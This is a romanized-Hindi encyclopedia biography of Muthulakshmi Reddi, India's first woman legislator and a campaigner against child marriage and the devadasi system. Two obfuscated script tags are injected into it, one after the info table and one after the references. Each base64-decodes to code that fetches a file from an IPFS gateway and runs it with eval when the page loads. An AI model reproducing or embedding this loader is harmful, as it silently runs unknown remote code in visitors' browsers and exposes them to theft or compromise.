मुथुलक्ष्मी रेड्डी
muthulakshmi reddi
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| poora nam | muthulakshmi reddi |
| janm | 30 julaee, 1886 |
| janm bhoomi | pudukottee, tamilanadu |
| mrityu | 22 julaee, 1968 |
| abhibhavak | pita- narayan svami ayyar, mata- chandramaee |
| pati/patni | sendara reddi |
| karm bhoomi | bharat |
| puraskar-upadhi | padm bhooshan (1956) |
| prasiddhi | samaj sudharak, mahila adhikar karyakarta aur lekhika |
| vishesh yogadan | bal vivah rokatham qanoon, mandiroan se devadasi pratha khatm karane, veshyalay band karane aur mahilaoan v bachchoan ki taskari rokane ke lie qanoon banane mean mahatvapoorn bhoomika nibhaee. |
| nagarikata | bharatiy |
| any janakari | muthulakshmi reddi ko 1926 mean 'mahila bharatiy sangh' (dablayooaeee) dvara madras vidhan parishad ke lie namaankit kiya gaya tha. vah 1926-1930 tak parishad mean rahian. |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>muthulakshmi reddi (aangrezi: Muthulakshmi Reddy, janm- 30 julaee, 1886; mrityu- 22 julaee, 1968) ko kee pahalean karane vali mahila kaha jata hai. vah pahali haus sarjan, bharat ki pahali mahila vidhayak aur madras vidhan parishad ki pahali mahila upadhyaksh bani thian. muthulakshmi reddi hi l dakoan ke skool mean pravesh lene vali desh ki pahali mahila thian. isake alava ve hi desh ki pahali mahila d aauktar (medikal grejuet) bhi thian. muthulakshmi reddi jivan bhar mahilaoan ke adhikaroan ke lie l datian rahian aur desh ki azadi ki l daee mean bhi unhoanne badh-chadhakar sahayog diya tha. un par eni beseant aur mahatma gaandhi ki vicharadhara ka gahara prabhav tha.
parichay
muthulakshmi reddi ka janm 30 julaee, 1886 mean tamilanadu ke pudukottee mean hua tha. unake pita narayan svami ayyar maharaja k aaulej mean pradhyapak the aur unaki mata chandramaee devadasi samuday se thian. maitrik tak unake pita aur kuchh shikshakoan ne unhean ghar par hi padhaya aur vo pariksha mean t aaupar bhi rahian. halaanki, l daki hone ke karan maharaja haeeskool ne unhean dakhila dene se mana kar diya. samaj ke roodhivadi tabake ne unhean skool mean padhane ko lekar bahut hangama kiya. lekin, padhaee mean unaki ruchi ko dekhate hue pudukottee ke martand bhairav thoandaman raja ne muthulakshmi ko vajifa dilakar haeeskool mean dakhila dilaya. vah us samay apane skool mean akeli l daki thian.[1]
vivah mean shart
muthulakshmi reddi madras medikal k aaulej mean sarjari vibhag mean pahali bharatiy l daki thian. unhoanne k aaulej mean sarjari mean t aaup kiya aur gold medal jita tha. d aauktar vi. saanta apani kitab 'muthulakshmi reddi- e lejeand aantoo y aauraselph' mean kahati haian ki vah sirf kee pahalean karane valian mahila hi nahian thian balki unhoanne mahilaoan ki mukti aur sashaktikaran ke lie l daee l di. unhoanne aprail 1914 mean d aauktar ti. suandar reddi se ek shart ke sath vivah kiya. shart ye thi ki unake pati unaki samajik gatividhiyoan aur zarooratamandoan ki chikitsakiy sahayata mean dakhal nahian deange.
muthulakshmi reddi ko ianglaiand mean mahilaoan aur bachchoan ke svasthy ke prashikshan ke lie chuna gaya tha. jab unake mata-pita ne unhean ianglaiand jane se mana kar diya, tab tamilanadu ke svasthy mantri panagal raja ne sarakar ko unhean ek sal ke lie vittiy sahayata dene ka nirdesh diya.
madras vidhan parishad ke lie namaankit
muthulakshmi reddi ne paya ki mahilaoan ke utthan ke lie sirf svasthy ke star par kam karana kafi nahian tha. isalie vah eni beseant ke margadarshan mean mahilaoan ke aandolan mean kood geean. unhean 1926 mean 'mahila bharatiy sangh' (dablayooaeee) dvara madras vidhan parishad ke lie namaankit kiya gaya tha. vah 1926-1930 tak parishad mean rahian. shuruat mean vah parishad mean sevaean dene ke lie hichakicha rahi thian. unhean dar tha ki kahian unaka chikitsa se ju da kam prabhavit na ho jae. halaanki, unhean lagata tha ki mahilaoan ko apani ghar nirman ki kshamata ko rashtr nirman mean bhi istemal karana chahie.[1]
mahatvapoorn yogadan
muthulakshmi reddi ne bal vivah rokatham qanoon, mandiroan se devadasi pratha khatm karane, veshyalay band karane aur mahilaoan v bachchoan ki taskari rokane ke lie qanoon banane mean mahatvapoorn bhoomika nibhaee. parishad mean vivah ke lie l dakiyoan ki sahamati ki umr ko badhakar 14 karane vale vidheyak ko prastut karate hue, unhoanne kaha tha- "sati pratha mean kuchh hi der ki pi da hoti hai jabaki l daki ke bal vivah ki pratha mean use janm se lekar mrityu tak ek bal patni, bal maan aur bal vidhava ke taur par ziandagi bhar ki pi da milati hai". unhoanne apani kitab 'may eksapiriyeans ez lejislechar' mean isaka zikr kiya hai. unhoanne likha hai ki jab unaka vidheyak bal vivah rokatham qanoon sthaniy pres mean prakashit hua to kattarapanthiyoan ne khuli baithakoan aur pres ke zarie un par hamala bola. isamean yoonivarsiti ke grejuets bhi shamil the.
devadasi pratha ke viruddh qanoon
muthulakshmi reddi devadasi pratha ko khatm karane ke lie qanoon pas karavane mean agua rahian. unhean is prakriya mean bhi kattar samoohoan se virodh ka samana karana p da. halaanki, is prastav ko madras vidhan parishad ne sarvasammati se samarthan diya aur keandr sarakar ko isaki sipharish ki. ye vidheyak 1947 mean akhirakari qanoon ban gaya. devadasi pratha mean yuva l dakiyoan ya mahilaoan ko bhagavan ki sharan mean de diya jata tha. madras vidhan parishad ke samaksh prastav pesh karate hue muthulakshmi reddi ne kaha tha- "devadasi pratha sati ka sabase kharab roop hai aur ye ek dharmik aparadh hai". tiruchchirappalli mean itihas vibhag ki risarch sk aaular em. es. snehalata ke risarch pepar 'muthulakshmi reddi, e soshal revolyooshanari' mean likha hai- "jab mahatma gaandhi ko namak satyagrah ke dauran giraftar kiya gaya, tab muthulakshmi ne madras vidhan parishad ki sadasyata ke istifa de diya tha". unhoanne devadasiyoan ki suraksha ke lie 1931 mean apane ghar adyar se 'avvee ghar' ki shuruat ki thi.[1]
padm bhooshan
muthulakshmi reddi ki chhoti bahan ki maut kaiansar se ho gee, jisase unhean bahut sadama laga aur phir unhoanne 1954 mean adyar kaiansar ianstityoot ki sthapana ke lie kam kiya. is sansthan mean poore bharat se aj bhi kaiansar ke mariz ilaz ke lie ate haian. unhean davaoan aur samaj sudhar ke kshetr mean yogadan ke lie 1956 mean padm bhooshan se sammanit kiya gaya. tamilanadu sarakar ne 1986 mean muthulakshmi ki janmatithi par unaki smriti mean ek dak tikat jari kiya.
mrityu
muthulakshmi reddi ne 22 julaee, 1968 mean 81 sal ki umr mean aantim saans li. googal ne unaki jayanti par ek doodal bhi banaya tha.
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 devadasi pratha ka aant karane vali d aauktar muthulakshmi reddi (hindi) bbc.com. abhigaman tithi: 22 agast, 2020.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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varnamala kramanusar lekh khoj
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